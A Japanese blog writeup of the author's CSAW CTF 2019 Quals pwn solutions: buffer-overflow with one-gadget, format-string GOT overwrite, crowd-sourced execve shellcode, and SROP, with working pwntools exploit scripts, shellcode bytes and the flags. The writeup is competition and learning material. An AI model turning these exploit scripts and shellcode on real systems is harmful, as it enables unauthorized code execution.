CSAW CTF 2019 Quals writeup

CSAW CTF 2019 Quals writeup

いつもどおり yharima で参加…と思いきや一人でした.
久々の CTF だったのと,人も集まらなかったのでぬるりと参加していました.
pwn にだけ手をだして 201 pts の 339th. 難しかった.

ソース: ctf_log/CSAW_CTF_2019_Quals at master · yuta1024/ctf_log · GitHub

f:id:yharima:20190919000742p:plain

mcgriddlev2

pwn だけといいつつ warmup だけは投げた.
flag{W3lcome_7o_CSAW_QUALS_2019!}

baby_boi

繋ぎにいくと何かのアドレスを教えてくれる.しかも懇切丁寧にソースコードもある.
ソースを読むとどうやら printf のアドレスを表示しているらしい.
そのあと露骨に BOF脆弱性がある gets が実行されてプログラムが終了する.
libc も付属しているので printf のアドレスから libc の base アドレスを求める.
あとは one-gadget のアドレスを探索して BOF + one-gadget のアドレスでシェルが立ち上がる.
前回5時間溶かしたので今回はしっかり経験を活かした.
flag{baby_boi_dodooo_doo_doo_dooo}

from pwn import *

context.arch = 'amd64'
con = remote('pwn.chal.csaw.io', 1005)

con.recvline()
msg = con.recvline().strip()

print msg
libc_base_addr = int(msg[13:], 16) - 0x064e80

print "[+] libc_base_addr = 0x%x" % libc_base_addr

payload = 'A' * 40
payload += pack(libc_base_addr + 0x4f322)
con.sendline(payload)

con.interactive()

gotmilk

名前からして露骨に GOT overwrite をする問題だから format string の脆弱性があるんだろうと予想する.
%x とか食わしてみると予想通りアドレスが表示されるので GOT overwrite すればいい.
何をどう上書きするかについては lose という関数の GOT を win に書き換えればいい.
win0x1189lose0x11f8 なので libmylib.so がどこのアドレスにリンクされるかの興味は一切なく,
末尾の 0xf80x89 に書き換えればいい.leak させる必要もない.hhn でやる. flag{y0u_g00000t_mi1k_4_M3!?}

from pwn import *

context.arch = 'i386'

con = remote('pwn.chal.csaw.io', 1004)

con.recvregex('GOT milk\? ')

con.sendline(pack(0x804a010) + '%133c%7$hhn%7$s')

print con.recvline().strip()[13:].encode('hex')
print con.recvall()

Twitch plays shellcode

正気度を疑う問題.x86_64 のシェルコードを twtich のチャットから入力して実行させる問題.
ただしどの行のどの列をどの値にするかはすべてチャット参加者の投票で決まる.なのでもちろん妨害もされる.

https://www.twitch.tv/csawtv

しばらく眺めていると結構いい感じに進んでいるタイミングを発見.結局色々あって2時間くらいかかっていた.
途中状況がわかってない人や荒らしっぽい人が入ってきてマジギレしてる人とかいて殺伐としていた.問題としてどうなのか….
最終的に実行されたシェルコードは以下だったはず.

\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x74\x77\x69\x74\x63\x68\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05

最終的にフラグは以下.
flag{https://www.youtube.com/watch?v=pGFGD5pj03M} f:id:yharima:20190919003135p:plain

small_boi

コンテスト中は解けなくて後から解いた.

すごい小さく dynamic link もしてないバイナリ.libc はないが syscall はいくつかある. BOF があるので ROP してなんとかすればいいんじゃないかと思い試行錯誤するも敗北.
pop eax はあるので任意の syscall は呼び出せる,でも rdi をセットできない.
/bin/sh はなぜか strings すると以下のようにあるのでほんと rdi だけセットできれば勝てる. (1ca だが調べてみると 0x400000 が base になるらしいのでそれを足した 0x4001ca/bin/shのアドレス).

$ strings -tx ./small_boi | grep /bin/sh
    1ca /bin/sh

ここから無限に迷走して終了した.

どうも Sigreturn-oriented Programming(SROP) 問題だったらしい.
sigreturn 命令は確かに ropgadget の中にあった.

0x00400180: mov eax, 0x0000000F ; syscall  ;  (1 found)

こいつを呼び出すとレジスタを任意の値にセットでき,そこでセットした rip から処理が続行されるらしい.
詳しい解説は SROP などで調べてください.
なのでやることは以下.

  • BOF させて 0x400180 の sigreturn を実行
  • rax に execve の syscall 番号 0x3b をセット
  • rdi に /bin/sh のアドレス 0x4001ca をセット
  • rip に 上記でセットしたレジスタ状態で syscall を呼びたいので syscall のアドレスをセット(どれでもいい)

するとシェルがあがる(以下はローカルで動作確認した).

from pwn import *

context.arch = 'amd64'
# con = remote('pwn.chal.csaw.io', 1002)
con = remote('192.168.10.66', 11002)

payload = 'A' * 40
payload += pack(0x400180)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x4001ca
frame.rip = 0x400185
payload += str(frame)
con.sendline(payload)

con.interactive()

まとめ

Twitch の問題はいくらなんでも厳しすぎると思った.
そして SROP 知らないのダメダメですね….もっと勉強しなければ….